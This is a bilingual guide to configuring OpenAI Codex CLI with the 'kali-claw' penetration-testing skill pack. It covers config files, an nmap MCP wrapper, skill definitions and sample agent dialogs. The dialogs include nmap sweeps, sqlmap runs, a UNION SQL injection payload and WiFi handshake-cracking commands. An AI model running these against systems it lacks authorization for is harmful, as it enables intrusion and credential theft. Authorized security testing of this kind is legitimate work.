model_provider = "openai"

# Approval policy
approval_policy = "on-request"

# Sandbox mode -- workspace-write allows tool output, file creation
sandbox_mode = "workspace-write"

# Increase project documentation limit to accommodate skill references
project_doc_max_bytes = 65536

# Reasoning effort for security analysis
model_reasoning_effort = "high"

[sandbox_workspace_write]
network_access = true

    4.4 Using the Enhanced Configuration

    With the enhanced AGENTS.override.md in place, Codex will automatically understand the kali-claw context. Dialog examples:

    Example 1: Automatic skill discovery

    You: I need to test a web application for SQL injection

Codex: I will analyze the target for SQL injection using the methodology from
       skills/web-sqli/SKILL.md.

       [Reads skills/web-sqli/SKILL.md automatically]

       Following the kali-claw SQL injection attack chain:

       1. Detection -- Identify injection points
       2. Fingerprinting -- Determine column count and database type
       3. Exploitation -- Extract data
       4. Privilege Escalation -- Escalate if possible

       What is the target URL? Is the testing authorized and within scope?

    Example 2: Multi-skill workflow

    You: Perform a security audit on api.example.com. Start with reconnaissance.

Codex: Understood. I will follow the kali-claw reconnaissance methodology.
       Let me load the relevant skills first.

       [Reads skills/recon-osint/SKILL.md]
       [Reads skills/api-security/SKILL.md]

       Security Audit Plan for api.example.com:

       Phase 1 -- Passive Reconnaissance:
       - WHOIS: whois example.com
       - DNS: dig example.com ANY
       - Technology fingerprint: whatweb api.example.com

       Phase 2 -- API Security Testing:
       - Endpoint discovery
       - Authentication testing
       - Rate limiting check
       - Input validation testing

       Per Hacker Law #8 (Trust but Verify), I will validate all findings.

       Ready to proceed. Please confirm authorization scope.

    5. Approach 3: Full Migration (2 Hours)

    Full migration adds MCP tool integration, sandbox configuration, and the Codex skills system for a production-grade penetration testing workflow.

    5.1 Configure Sandbox Environment

    Configure Codex's sandbox to allow security tool execution while maintaining safety boundaries.

    Edit .codex/config.toml in the kali-claw project directory:

    # .codex/config.toml (project-scoped)

model = "o3"
model_provider = "openai"
model_reasoning_effort = "high"
approval_policy = "on-request"

# Workspace-write sandbox for tool output
sandbox_mode = "workspace-write"

project_doc_max_bytes = 65536

[sandbox_workspace_write]
# Allow network access for security tools
network_access = true

# Additional writable directories for output
writable_roots = ["/tmp/kali-claw-output"]

[shell_environment_policy]
inherit = "all"
# Do not leak sensitive env vars to spawned processes
exclude = ["OPENAI_API_KEY"]

[history]
persistence = "save-all"

    Mark the project as trusted:

    # In ~/.codex/config.toml

[projects]
[projects."/path/to/kali-claw"]
trust_level = "trusted"

    5.2 MCP Tool Integration

    Connect security tools to Codex via MCP (Model Context Protocol). This provides structured tool access instead of raw shell commands.

    Example: nmap MCP wrapper

    Create an MCP server script that wraps common security tools. Save as .codex/mcp-security-tools.sh (conceptual -- actual MCP servers use stdio or HTTP transports):

    # In .codex/config.toml or ~/.codex/config.toml

[mcp_servers]

[mcp_servers.nmap]
enabled = true
command = "python3"
args = ["/path/to/kali-claw/.codex/mcp-nmap-server.py"]
startup_timeout_sec = 10.0
tool_timeout_sec = 300.0

[mcp_servers.sqlmap]
enabled = true
command = "python3"
args = ["/path/to/kali-claw/.codex/mcp-sqlmap-server.py"]
startup_timeout_sec = 10.0
tool_timeout_sec = 600.0

    Minimal nmap MCP server example (.codex/mcp-nmap-server.py):

    #!/usr/bin/env python3
"""
Minimal MCP server wrapping nmap for Codex integration.
Install: pip install mcp
"""

import subprocess
import json
from mcp.server import Server

server = Server("nmap-tools")

@server.tool("nmap_scan")
def nmap_scan(target: str, scan_type: str = "quick") -> str:
    """Run nmap scan against target. scan_type: quick, full, vuln"""
    scan_args = {
        "quick": ["-sV", "--top-ports", "100"],
        "full": ["-sS", "-sV", "-O", "-p-", "--max-retries", "1"],
        "vuln": ["--script=vuln", "-sV"],
    }
    args = scan_args.get(scan_type, scan_args["quick"])
    cmd = ["nmap"] + args + [target]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
        return result.stdout
    except subprocess.TimeoutExpired:
        return "Scan timed out after 300 seconds"
    except Exception as e:
        return f"Error: {e}"

if __name__ == "__main__":
    server.run()

    Using MCP tools in Codex sessions:

    You: Scan 192.168.1.100 for open ports and services

Codex: I will perform a quick scan of the target using the nmap MCP tool.

       [Calls nmap_scan tool with target="192.168.1.100", scan_type="quick"]

       Results:
       PORT     STATE SERVICE  VERSION
       22/tcp   open  ssh      OpenSSH 8.9
       80/tcp   open  http     Apache httpd 2.4.52
       443/tcp  open  ssl/http Apache httpd 2.4.52
       3306/tcp open  mysql    MySQL 8.0.28

       Following the network-pentest methodology, I recommend:
       1. Further enumeration of SSH (check for weak credentials)
       2. Web application testing on port 80/443
       3. MySQL security assessment (check for default credentials)

    5.3 Memory System

    Codex has a built-in memories feature. Enable it to persist security findings across sessions.

    # In ~/.codex/config.toml

[features]
memories = true

[memories]
generate_memories = true
use_memories = true

    kali-claw's existing memory system (memory/ directory and MEMORY.md) continues to work alongside Codex's memories:

    kali-claw MemoryCodex MemoryPurpose
    memory/YYYY-MM-DD.mdN/ARaw daily session logs (kali-claw native)
    MEMORY.mdN/ADistilled long-term knowledge (kali-claw native)
    chronicle/YYYY-MM/N/AMonthly milestones (kali-claw native)
    N/ABuilt-in memoriesCodex-learned context from prior sessions

    Both systems coexist. kali-claw memory files are read explicitly when needed. Codex memories are automatically loaded at session start.

    5.4 Create Codex Skills for kali-claw Workflows

    Codex supports a skills system via SKILL.md files. Create skills that reference kali-claw's existing skill domains without modifying them.

    Create the skills directory:

    mkdir -p .agents/skills

    Example: SQL Injection skill for Codex (.agents/skills/web-sqli/SKILL.md):

    ---
name: web-sqli
description: SQL injection detection, exploitation, and defense. Covers Union, Blind, Time-based, Error-based, and Double Query injection. Activates when the user mentions SQL injection, sqli, database exploitation, or requests web application testing.
---

You are a SQL injection security specialist. Use the kali-claw skill files for reference.

## Knowledge Base

Always read these files from the kali-claw workspace for reference:
- `skills/web-sqli/SKILL.md` -- Complete methodology, tools, and attack chain
- `skills/web-sqli/payloads.md` -- Payload collection organized by 10 injection types
- `skills/web-sqli/test-cases.md` -- Structured test case templates (TC-S001 to TC-S012)
- `skills/web-sqli/guides/` -- Deep-dive guides for advanced techniques

## Operating Procedure

1. Read `skills/web-sqli/SKILL.md` first to load the methodology
2. Identify injection type (echo, error, blind)
3. Follow the attack chain: Detection -> Fingerprinting -> Exploitation -> Data Extraction
4. Use payloads from `payloads.md`, not improvisation
5. Document findings using TC-XXXX format from `test-cases.md`
6. Always provide remediation recommendations

## Safety Rules

- Only test targets within explicitly authorized scope
- Confirm before any destructive SQL operations (DROP, DELETE, UPDATE)
- Never exfiltrate real user data -- use dummy data for proof-of-concept
- Log all actions to memory/YYYY-MM-DD.md

## Response Format

For each finding:
- Injection type and location
- Payload used (from payloads.md)
- Data accessible through this vulnerability
- CVSS severity estimate
- Remediation recommendation

## Tool Priority

1. sqlmap for automated detection and exploitation
2. curl for manual injection testing
3. Burp Suite guidance for complex scenarios

    Example: Network Reconnaissance skill (.agents/skills/network-recon/SKILL.md):

    ---
name: network-recon
description: Network reconnaissance and port scanning methodology. Covers passive and active reconnaissance, service enumeration, and attack surface mapping. Activates when the user mentions reconnaissance, scanning, port scanning, recon, or network enumeration.
---

You are a network reconnaissance specialist. Use the kali-claw skill files for reference.

## Knowledge Base

Read these files from the kali-claw workspace:
- `skills/network-pentest/SKILL.md` -- Network penetration testing methodology
- `skills/recon-osint/SKILL.md` -- OSINT and reconnaissance methodology
- `skills/osint/SKILL.md` -- Open Source Intelligence gathering

## Operating Procedure

1. Start with passive reconnaissance (OSINT, WHOIS, DNS)
2. Move to active scanning (nmap, service detection)
3. Map the attack surface
4. Identify high-value targets
5. Document findings per kali-claw methodology

## Safety Rules

- Only scan authorized targets
- Use rate limiting to avoid triggering IDS/IPS
- Log all scan results

    Example: Security Audit skill (.agents/skills/security-audit/SKILL.md):

    ---
name: security-audit
description: Comprehensive security audit combining multiple kali-claw skill domains. Covers web, network, API, and cloud security assessment. Activates when the user requests a security audit, vulnerability assessment, or comprehensive security testing.
---

You are a security audit specialist orchestrating multiple kali-claw skills.

## Knowledge Base

Read these files as needed based on the audit scope:
- `skills/security-review/SKILL.md` -- Systematic security review methodology
- `skills/vulnerability-assessment/SKILL.md` -- Vulnerability assessment framework
- `skills/web-sqli/SKILL.md` -- SQL injection testing
- `skills/web-xss/SKILL.md` -- XSS testing
- `skills/api-security/SKILL.md` -- API security testing
- `skills/network-pentest/SKILL.md` -- Network testing
- `skills/safety-guard/SKILL.md` -- Scope and safety enforcement

## Operating Procedure

1. Define scope and confirm authorization
2. Select relevant skill domains based on target type
3. Execute each domain's methodology systematically
4. Correlate findings across domains
5. Generate prioritized report

## Report Format

1. Executive Summary
2. Scope and Methodology
3. Findings (Critical > High > Medium > Low > Info)
4. Detailed Evidence per Finding
5. Remediation Recommendations

    5.5 Complete Project Configuration Summary

    After full migration, your kali-claw project structure for Codex:

    kali-claw/
  AGENTS.md                 (original -- untouched)
  AGENTS.override.md        (NEW -- Codex-specific instructions, appended after AGENTS.md)
  codex-instructions.md     (NEW -- optional dedicated instruction file)
  .codex/
    config.toml             (NEW -- project-scoped Codex configuration)
    mcp-nmap-server.py      (NEW -- MCP server for nmap)
    mcp-sqlmap-server.py    (NEW -- MCP server for sqlmap)
  .agents/
    skills/
      web-sqli/
        SKILL.md            (NEW -- Codex skill referencing kali-claw files)
      network-recon/
        SKILL.md            (NEW -- Codex skill referencing kali-claw files)
      security-audit/
        SKILL.md            (NEW -- Codex skill referencing kali-claw files)
  skills/                   (original -- COMPLETELY UNCHANGED)
    web-sqli/
      SKILL.md
      payloads.md
      test-cases.md
      guides/
    ... (137 domains)
  SOUL.md                   (original -- untouched)
  IDENTITY.md               (original -- untouched)
  USER.md                   (original -- untouched)
  MEMORY.md                 (original -- untouched)
  TOOLS.md                  (original -- untouched)
  memory/                   (original -- untouched)
  chronicle/                (original -- untouched)

    The skills/ directory and all root configuration files remain completely unchanged. All new files are additions that reference the existing kali-claw content.

    6. Usage Scenarios

    6.1 Complete Penetration Test Flow

    You: Perform a penetration test on 192.168.1.0/24. Scope: network infrastructure only.
    Authorization: internal red team exercise, full scope.

Codex: Understood. Internal red team exercise authorized for 192.168.1.0/24.
       I will follow the kali-claw methodology.

       [Loads skills/network-pentest/SKILL.md]
       [Loads skills/recon-osint/SKILL.md]

       Phase 1: Host Discovery
       Running: nmap -sn 192.168.1.0/24

       [Executes via shell or MCP tool]

       Discovered hosts:
       - 192.168.1.1    (Gateway)
       - 192.168.1.10   (Web server)
       - 192.168.1.20   (Database server)
       - 192.168.1.100  (Workstation)

       Phase 2: Service Enumeration
       Running: nmap -sS -sV -O 192.168.1.10 192.168.1.20

       [Results analyzed against vulnerability databases]

       Phase 3: Vulnerability Assessment
       Per skills/vulnerability-assessment/SKILL.md methodology...

       Findings so far:
       [HIGH] 192.168.1.10:80 - Apache 2.4.52 (CVE-2023-25690 HTTP/2 hop-by-hop)
       [HIGH] 192.168.1.20:3306 - MySQL 8.0 accessible without IP restriction
       [MED]  192.168.1.10:22 - SSH with password authentication enabled
       [LOW]  192.168.1.100 - ICMP responsive, no filtered ports detected

       Proceeding to Phase 4: Targeted Exploitation...

       [Continues following kali-claw methodology]

    6.2 Security Audit

    You: Audit the authentication and access control of our web application at
    https://staging.example.com. Use the kali-claw skills.

Codex: I will audit authentication and access control using the kali-claw methodology.

       [Loads skills/web-auth-bypass/SKILL.md]
       [Loads skills/web-access-control/SKILL.md]
       [Loads skills/api-security/SKILL.md]

       Audit Plan:

       1. Authentication Testing (from web-auth-bypass methodology):
          - Default credential testing
          - Password policy evaluation
          - Session management analysis
          - Multi-factor authentication bypass
          - OAuth/JWT implementation review

       2. Access Control Testing (from web-access-control methodology):
          - Vertical privilege escalation
          - Horizontal privilege escalation
          - Insecure direct object references (IDOR)
          - Missing function-level access control

       3. API Security (from api-security methodology):
          - Authentication endpoint testing
          - Rate limiting on login
          - Token handling review

       Starting with authentication testing...

       Test 1: Login endpoint analysis
       curl -v https://staging.example.com/login

       [Analyzes response headers, cookies, CSRF tokens]

       Test 2: Default credential check
       [Tests common default usernames/passwords from payloads.md]

       Findings will be documented per TC-XXXX format.

    6.3 Learning and Research

    You: I want to learn about WiFi penetration testing. Walk me through the methodology
    using the kali-claw skills.

Codex: I will guide you through the WiFi penetration testing methodology.

       [Reads skills/wifi-pentest/SKILL.md]

       The kali-claw WiFi pentest methodology covers these phases:

       Phase 1: Monitor Mode Setup
       - Put wireless adapter into monitor mode
       - Identify target networks and clients
       Command: airmon-ng start wlan0

       Phase 2: Target Selection
       - Scan for target BSSID, channel, encryption type
       Command: airodump-ng wlan0mon

       Phase 3: Attack Vector Selection (depends on encryption type)
       - WPA/WPA2: Capture 4-way handshake -> dictionary attack
       - WPS: Pixie Dust or PIN brute force
       - WEP: IV collection and cracking

       Phase 4: Handshake Capture
       Command: airodump-ng --bssid <TARGET> -c <CHANNEL> -w capture wlan0mon

       Phase 5: Credential Recovery
       Command: aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

       Would you like me to dive deeper into any specific phase? I can also
       read the payloads.md for specific attack payloads, or test-cases.md
       for structured testing templates.

    6.4 Report Generation

    You: Based on today's testing session, generate a penetration test report.
    Reference memory/2026-05-18.md for findings.

Codex: I will compile the penetration test report from today's session.

       [Reads memory/2026-05-18.md]

       Based on the session log, here is the penetration test report:

       ---

       # Penetration Test Report
       ## Date: 2026-05-18
       ## Target: [target from session log]
       ## Scope: [scope from session log]

       ## Executive Summary
       [Summary of findings and risk level]

       ## Methodology
       Testing followed the kali-claw methodology:
       - Reconnaissance (skills/recon-osint/SKILL.md)
       - Network scanning (skills/network-pentest/SKILL.md)
       - Web application testing (skills/web-sqli/SKILL.md, skills/web-xss/SKILL.md)

       ## Findings

       ### CRITICAL: SQL Injection in Login Endpoint
       - **Location**: /api/auth/login, parameter: username
       - **Type**: Union-based SQL injection
       - **Payload**: ' UNION SELECT 1,2,3-- -
       - **Impact**: Full database access including user credentials
       - **CVSS**: 9.8
       - **Remediation**: Use parameterized queries. See skills/web-sqli/SKILL.md
         defense section.

       ### HIGH: Missing Rate Limiting on Authentication
       - **Location**: /api/auth/login
       - **Impact**: Allows brute force attacks
       - **CVSS**: 7.5
       - **Remediation**: Implement rate limiting (max 5 attempts per 15 minutes)

       [Additional findings from session log...]

       ---

       Report saved to memory/2026-05-18-report.md

    7. FAQ

    Q1: Do I need to modify any files in the kali-claw skills/ directory?

    No. The kali-claw skills/ directory remains completely unchanged. All migration involves creating new configuration files (AGENTS.override.md, .codex/config.toml, .agents/skills/) that reference the existing kali-claw files. Codex reads the original Markdown files as-is.

    Q2: What OpenAI models work best with kali-claw?

    ModelBest ForReasoningCost
    o3Complex security analysis, multi-step exploitsHighHigher
    GPT-4oGeneral security tasks, payload generationMediumMedium
    o4-miniQuick lookups, single-skill tasksMediumLower

    For penetration testing work, o3 with high reasoning effort provides the best results for complex multi-step analysis.

    Q3: How do I switch models?

    # Via CLI flag
codex --model o3 "Analyze this SQL injection"

# Via config.toml (persistent)
# model = "o3"

    Q4: Can I use kali-claw with both Codex and Claude Code simultaneously?

    Yes. kali-claw is a framework-agnostic Markdown knowledge base. You can use it with Codex, Claude Code, Hermes, or OpenClaw simultaneously. Each framework reads the same files independently.

    Q5: What if Codex cannot find a skill file?

    Specify the full path:

    Read the file at skills/web-sqli/SKILL.md and analyze my target

    Or ensure you are in the kali-claw project root when launching Codex:

    cd /path/to/kali-claw
codex

    Q6: How does Codex's AGENTS.md cascading work with kali-claw?

    Codex reads instruction files in this order (later files override earlier ones):

    1. ~/.codex/AGENTS.md (global user preferences)
    2. ~/.codex/AGENTS.override.md (global override)
    3. Project root AGENTS.md (kali-claw's original)
    4. Project root AGENTS.override.md (your Codex-specific additions)

    The combined instructions provide Codex with both the kali-claw workspace context and your Codex-specific behavioral guidelines.

    Q7: Is it safe to run security tools through Codex?

    Codex provides OS-level sandboxing. Configure it appropriately:

    • Use approval_policy = "on-request" (default) so every command requires your confirmation
    • Use sandbox_mode = "workspace-write" to limit file system access
    • Never use sandbox_mode = "danger-full-access" with kali-claw
    • Always verify the target scope before approving any tool execution

    Q8: How do I add a custom fallback instruction file?

    If you want Codex to read additional files (like codex-instructions.md), configure it:

    # In ~/.codex/config.toml or .codex/config.toml
project_doc_fallback_filenames = ["codex-instructions.md", "TEAM_GUIDE.md"]

    Codex will check for these files when AGENTS.md is not found at a directory level.

    Q9: Can I use Codex on a remote Kali Linux machine?

    Yes. SSH into your Kali machine and run Codex there:

    ssh user@kali-host
cd /path/to/kali-claw
codex

    Alternatively, use VS Code Remote SSH and run Codex in the integrated terminal.

    Q10: How do I update kali-claw skills when the repository is updated?

    cd kali-claw
git pull origin main

    Since no kali-claw files are modified during migration, updates pull cleanly without conflicts.

    8. Architecture Comparison and Reference

    8.1 File Mapping: kali-claw to Codex

    kali-claw (OpenClaw)OpenAI Codex CLIMigration Method
    SOUL.mdAGENTS.override.md (key content copied)Copy key principles
    AGENTS.mdRead automatically by CodexKeep in place
    IDENTITY.mdReferenced in AGENTS.override.md skill indexKeep in place
    USER.mdN/A (Codex does not have user profiles)Keep in place
    skills/*/SKILL.mdProject files (read on demand)Keep in place
    skills/*/payloads.mdProject files (read on demand)Keep in place
    skills/*/test-cases.mdProject files (read on demand)Keep in place
    skills/*/guides/Project files (read on demand)Keep in place
    MEMORY.mdmemory/ directory + Codex memoriesKeep in place
    TOOLS.mdProject files (read on demand)Keep in place
    HEARTBEAT.mdN/A (Codex does not have heartbeat)Keep in place
    memory/Keep + Codex built-in memoriesKeep in place
    chronicle/Project files (read on demand)Keep in place

    8.2 Configuration Layers

    Codex Configuration Hierarchy (highest precedence first):

  1. CLI flags                codex --model o3 --approval-mode suggest
  2. Profile values           --profile pentest
  3. Project .codex/config    kali-claw/.codex/config.toml
  4. User ~/.codex/config     ~/.codex/config.toml
  5. System /etc/codex/       /etc/codex/config.toml
  6. Built-in defaults

Instruction Loading (concatenated root to CWD):

  1. ~/.codex/AGENTS.md           (global user preferences)
  2. kali-claw/AGENTS.md          (kali-claw workspace config)
  3. kali-claw/AGENTS.override.md (Codex-specific security instructions)
  4. kali-claw/skills/*/AGENTS.md (per-skill overrides, if any)

    8.3 Quick Start Commands

    # --- Approach 1: Minimal (5 minutes) ---

cd kali-claw
export OPENAI_API_KEY="sk-..."
codex
# Then: "Read skills/web-sqli/SKILL.md and help me test for SQL injection"


# --- Approach 2: Standard (30 minutes) ---

cd kali-claw

# 1. Create AGENTS.override.md (copy from Section 4.1 above)
# 2. Configure ~/.codex/config.toml (copy from Section 4.3 above)

codex
# Then: "Test this web application for SQL injection" (auto-discovers skill)


# --- Approach 3: Full (2 hours) ---

cd kali-claw

# 1. Create AGENTS.override.md (from Section 4.1)
# 2. Create .codex/config.toml (from Section 5.1)
# 3. Create MCP server scripts (from Section 5.2)
# 4. Create .agents/skills/ (from Section 5.4)
# 5. Enable memories in config.toml (from Section 5.3)

codex
# Then: "Perform a full security audit on api.example.com"

    Last updated: 2026-05-18

  • kali-claw-pentest-agent/GUIDE-CODEX-zh.mdmarkdown · 42.2 KB

    kali-claw 技能包使用指南：在 OpenAI Codex 上运行

    ⚠️ 更新说明（2026-08-08）：本指南已更新至 kali-claw v0.2.4（Phase 2 Track 1 Minor Release）。主要变化：

    • 139 个技能域（v0.2.4 新增 eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack；早期版本为 49/111/130/137）
    • 全部 139 个 SKILL 达到 v0.2.0.2 标准（v0.2.4 起），含完整 Defense Triple — 100% 覆盖
    • 新增 7 个战略 SKILL：ai-safety-redteam-advanced、identity-provider-attack、data-loss-prevention-bypass、edge-computing-security、quantum-cryptography-transition、hardware-side-channel-advanced、5g-6g-telecom-attack-advanced
    • 生成 6 个文档：SKILL_HANDBOOK、QUICK_REFERENCE、SKILL_INDEX.json、DOMAIN_MATRIX、TOOLS_LIFECYCLE、SKILL_MAINTENANCE
    • 5 个自动化脚本：skill-lint.py、validate-payloads.py、validate-testcases.py、GitHub Actions CI/CD、update-skill-standard.py
    • v0.2.4 关键变化：MAJOR 工具升级修复（frida 17 / hashcat 7 / docker 29）；Defense Perspective 内容质量改进；2 个新 SKILL 落地
    • skill-lint 0 errors / 0 warnings, 139/139 clean pass（v0.2.3 起）
    • 详见 RELEASE-v0.2.4.md（最新）；历史：RELEASE-v0.2.1.md

    本指南中关于 agent 工具的命令和配置步骤仍然准确，仅更新了 kali-claw 侧的元数据。

    本指南说明如何将 kali-claw 渗透测试技能包与 OpenAI Codex CLI 配合使用。 核心原则：skills/ 目录不做任何修改，迁移意味着配置 Codex 来读取和使用现有文件。

    一、概述

    1.1 OpenAI Codex CLI 是什么

    OpenAI Codex CLI（github.com/openai/codex）是 OpenAI 官方推出的命令行编码智能体工具。它可以在终端中直接启动，读取项目级指令文件，然后按照指令执行代码编写、文件操作和命令行任务。

    与其他框架的对比：

    特性OpenClaw (Claude Code)OpenAI Codex CLICursor / Windsurf
    底层模型Claude (Anthropic)GPT-4o / o3 / o4-mini (OpenAI)多模型可选
    安装方式npm install智能体 -g @anthropic-ai/claude-codenpm install -g @openai/codex桌面应用
    项目指令文件CLAUDE.mdAGENTS.md 或 codex.md.cursorrules
    沙箱执行支持默认启用不支持
    命令执行支持（需审批）支持（三种审批模式）有限支持
    MCP 工具原生支持实验性支持部分支持
    记忆系统内置会话记忆无内置持久记忆项目级上下文
    适合场景深度开发 + Agent 工作流快速编码 + 命令执行IDE 内编码辅助

    为什么选择 Codex：

    • OpenAI 模型（GPT-4o、o3、o4-mini）在代码生成和推理方面表现优秀
    • 默认沙箱执行，安全性更高
    • 简洁的 CLI 交互，适合渗透测试命令行工作流
    • 支持多审批模式，可以灵活控制安全操作

    1.2 kali-claw 技能包如何适配 Codex

    kali-claw 是纯 Markdown 格式的技能知识库，不依赖任何特定框架。这种设计使得它可以被任何 AI 编码工具使用。

    适配原理：

    kali-claw 项目结构          Codex 读取方式
-------------------         ----------------
AGENTS.md            <---   Codex 启动时自动读取
codex.md             <---   Codex 项目指令（优先级更高）
SOUL.md              <---   作为参考文件按需读取
IDENTITY.md          <---   作为参考文件按需读取
skills/*/SKILL.md    <---   作为参考文件按需读取
skills/*/payloads.md <---   作为参考文件按需读取
skills/*/test-cases.md <--- 作为参考文件按需读取
skills/*/guides/     <---   作为参考文件按需读取

    关键映射关系：

    • Codex 的 AGENTS.md / codex.md 相当于 OpenClaw 的 CLAUDE.md —— 项目级指令
    • kali-claw 已有 AGENTS.md（会话启动流程），Codex 可以直接读取
    • 技能文件（SKILL.md 等）作为参考文档，Codex 按需读取，无需转换
    • 记忆系统（memory/ 目录）通过指令引导 Codex 使用

    1.3 迁移策略（三种）

    策略耗时适用场景核心步骤
    最小迁移5 分钟快速体验、评估直接用 Codex 打开项目
    标准迁移30 分钟日常渗透测试配置 codex.md + 审批模式
    完整迁移2 小时长期生产环境加上沙箱配置 + 记忆系统

    二、环境准备

    2.1 安装 Codex CLI

    前提条件： Node.js 22+（推荐使用 LTS 版本）

    # 安装 Codex CLI
npm install -g @openai/codex

# 验证安装
codex --version

# 设置 OpenAI API Key（三选一）
# 方式一：环境变量（推荐，当前终端会话有效）
export OPENAI_API_KEY="sk-..."

# 方式二：写入 shell 配置文件（永久有效）
echo 'export OPENAI_API_KEY="sk-..."' >> ~/.zshrc
source ~/.zshrc

# 方式三：写入 Codex 配置目录
mkdir -p ~/.codex
echo '{"apiKey": "sk-..."}' > ~/.codex/config.json

    选择模型：

    # 默认使用 GPT-4o（推荐，平衡性能与成本）
codex

# 使用 o3 推理模型（复杂分析和架构决策）
codex --model o3

# 使用 o4-mini（快速响应，成本更低）
codex --model o4-mini

# 使用 GPT-4.1（最新模型，长上下文）
codex --model gpt-4.1

    2.2 准备 Kali Linux 环境

    Codex 需要在能够执行安全工具的环境中运行。以下是三种常见方案：

    方案一：本机 Kali Linux（推荐）

    # 直接在 Kali Linux 上安装 Codex
sudo apt update && sudo apt install -y nodejs npm
npm install -g @openai/codex

    方案二：SSH 远程 Kali

    # 在本地机器上安装 Codex
npm install -g @openai/codex

# 在 Codex 会话中通过 SSH 执行远程命令
# Codex 会读取本地的 kali-claw 项目，但命令通过 SSH 发送到远程 Kali

    方案三：Docker 容器

    # 拉取 Kali Docker 镜像
docker pull kalilinux/kali-rolling

# 启动容器并安装工具
docker run -it --name kali-codex kalilinux/kali-rolling /bin/bash
apt update && apt install -y nodejs npm nmap sqlmap nikto
npm install -g @openai/codex

    2.3 克隆 kali-claw

    # 克隆项目
git clone https://github.com/brucesongs/kali-claw.git
cd kali-claw

# 确认项目结构
ls -la
# 应该看到：AGENTS.md  SOUL.md  IDENTITY.md  USER.md  MEMORY.md  TOOLS.md  skills/  memory/  ...

    三、方式一：最小迁移（5 分钟）

    这是最快的上手方式。Codex 会自动读取项目中已有的 AGENTS.md 文件作为项目指令。

    3.1 配置 API Key

    export OPENAI_API_KEY="sk-..."

    3.2 启动 Codex

    cd /path/to/kali-claw
codex

    Codex 启动时会自动读取项目根目录下的 AGENTS.md。kali-claw 已有此文件，其中包含了会话启动流程（读取 SOUL.md、USER.md、记忆文件等）。Codex 会将这些作为项目上下文。

    3.3 使用示例

    示例一：SQL 注入测试

    你：阅读 skills/web-sqli/SKILL.md，按照其中的方法论帮我测试 http://testphp.vulnweb.com

Codex：[读取 SKILL.md] 好的，我已阅读 SQL 注入技能文档。按照方法论，
       先进行注入点检测：

       1. 首先测试参数是否可注入
       2. 确定注入类型（UNION / Error / Blind）
       3. 根据类型选择对应载荷

       让我先执行基本的注入检测：
       $ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1'" | head -20

你：查看 skills/web-sqli/payloads.md 中的 UNION 注入载荷，构造针对该目标的注入命令

Codex：[读取 payloads.md] UNION 注入载荷如下。根据目标响应特征，
       构造命令：
       $ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
         --batch --dbs --threads=3 --technique=U

    示例二：网络扫描

    你：用 skills/network-pentest/SKILL.md 的方法扫描 192.168.1.0/24

Codex：[读取 network-pentest/SKILL.md] 按照网络渗透技能的方法论，
       分阶段扫描：

       第一阶段：主机发现
       $ nmap -sn 192.168.1.0/24 -oG hosts.txt

       第二阶段：端口扫描（对存活主机）
       $ nmap -sV -sC -p- 192.168.1.X -oA full_scan

       先执行第一阶段？

    示例三：OSINT 信息收集

    你：读取 skills/osint/SKILL.md 和 skills/recon-osint/SKILL.md，帮我收集 target.com 的信息

Codex：[读取两个 SKILL.md] 结合 OSINT 和侦察技能的方法论，
       信息收集计划如下：
       1. DNS 枚举
       2. 子域名发现
       3. Web 指纹识别
       4. 搜索引擎 dork
       ...

    3.4 局限性

    最小迁移虽然快速，但有以下限制：

    局限说明解决方案
    需手动引用文件路径每次对话需要明确指定技能文件使用标准迁移，配置 codex.md
    无持久记忆关闭会话后上下文丢失手动写入 memory/ 目录
    沙箱限制某些安全工具可能被沙箱阻止切换审批模式或使用非沙箱模式
    没有角色注入Codex 不会自动扮演 kali-claw 角色使用标准迁移配置角色

    四、方式二：标准迁移（30 分钟）

    标准迁移通过配置 codex.md 项目指令文件，让 Codex 自动理解 kali-claw 的角色、技能体系和工作方式。

    4.1 增强 AGENTS.md

    kali-claw 已有 AGENTS.md，在此基础上追加 Codex 专属段落。注意：不修改现有内容，只在末尾追加。

    在 AGENTS.md 末尾追加以下内容：

    ---

## Codex Integration

> This section is read by OpenAI Codex CLI when the project is opened with `codex`.

### Role

You are kali-claw, a Senior Penetration Testing Engineer running on Kali Linux.
You master all 518 Kali Linux security tools across 137 skill domains.

### Skill Index

When performing security tasks, read the corresponding skill files:

| Domain | Path | Description |
|--------|------|-------------|
| API Security | skills/api-security/ | API penetration testing |
| Binary Analysis | skills/binary-reverse/ | Reverse engineering, radare2 |
| Browser QA | skills/browser-qa/ | Automated browser testing |
| Cloud Security | skills/cloud-security/ | AWS/Azure/GCP security |
| Container Security | skills/container-security/ | Docker/K8s security |
| Crypto Attacks | skills/crypto-attacks/ | Cryptographic attack techniques |
| Digital Forensics | skills/digital-forensics/ | Evidence collection and analysis |
| Docker Patterns | skills/docker-patterns/ | Container lab environments |
| Hardware Security | skills/hardware-security/ | JTAG/UART/firmware/side-channel |
| Mobile Security | skills/mobile-security/ | Android/iOS security testing |
| Network Pentest | skills/network-pentest/ | Network penetration testing |
| OSINT | skills/osint/ | Open source intelligence |
| Password Attack | skills/password-attack/ | Dictionary/brute-force/hash cracking |
| Post-Exploitation | skills/post-exploitation/ | Persistence, lateral movement |
| Recon OSINT | skills/recon-osint/ | Reconnaissance and OSINT |
| Social Engineering | skills/social-engineering/ | Social engineering techniques |
| Supply Chain | skills/supply-chain-security/ | Supply chain attack/defense |
| Web Access Control | skills/web-access-control/ | Access control bypass |
| Web Auth Bypass | skills/web-auth-bypass/ | Authentication bypass |
| Web SQLi | skills/web-sqli/ | SQL injection |
| Web SSRF | skills/web-ssrf/ | Server-Side Request Forgery |
| Web XSS | skills/web-xss/ | Cross-Site Scripting |
| WiFi Pentest | skills/wifi-pentest/ | Wireless security testing |
| AI Fuzzing | skills/ai-fuzzing/ | Coverage-guided fuzzing |
| AI Security | skills/ai-security/ | LLM/ML security testing |
| Article Writing | skills/article-writing/ | Security report writing |
| Autonomous Loops | skills/autonomous-loops/ | Automated task pipelines |
| Chronicle | skills/chronicle/ | Session logging, milestone tracking |
| Codebase Onboarding | skills/codebase-onboarding/ | Rapid codebase analysis |
| Continuous Learning | skills/continuous-learning/ | Tool mastery progression |
| Council | skills/council/ | Multi-perspective analysis |
| Data Scraper | skills/data-scraper-agent/ | Structured data collection |
| Deep Research | skills/deep-research/ | Multi-source intelligence |
| Exa Search | skills/exa-search/ | Semantic search |
| Knowledge Ops | skills/knowledge-ops/ | Knowledge graph management |
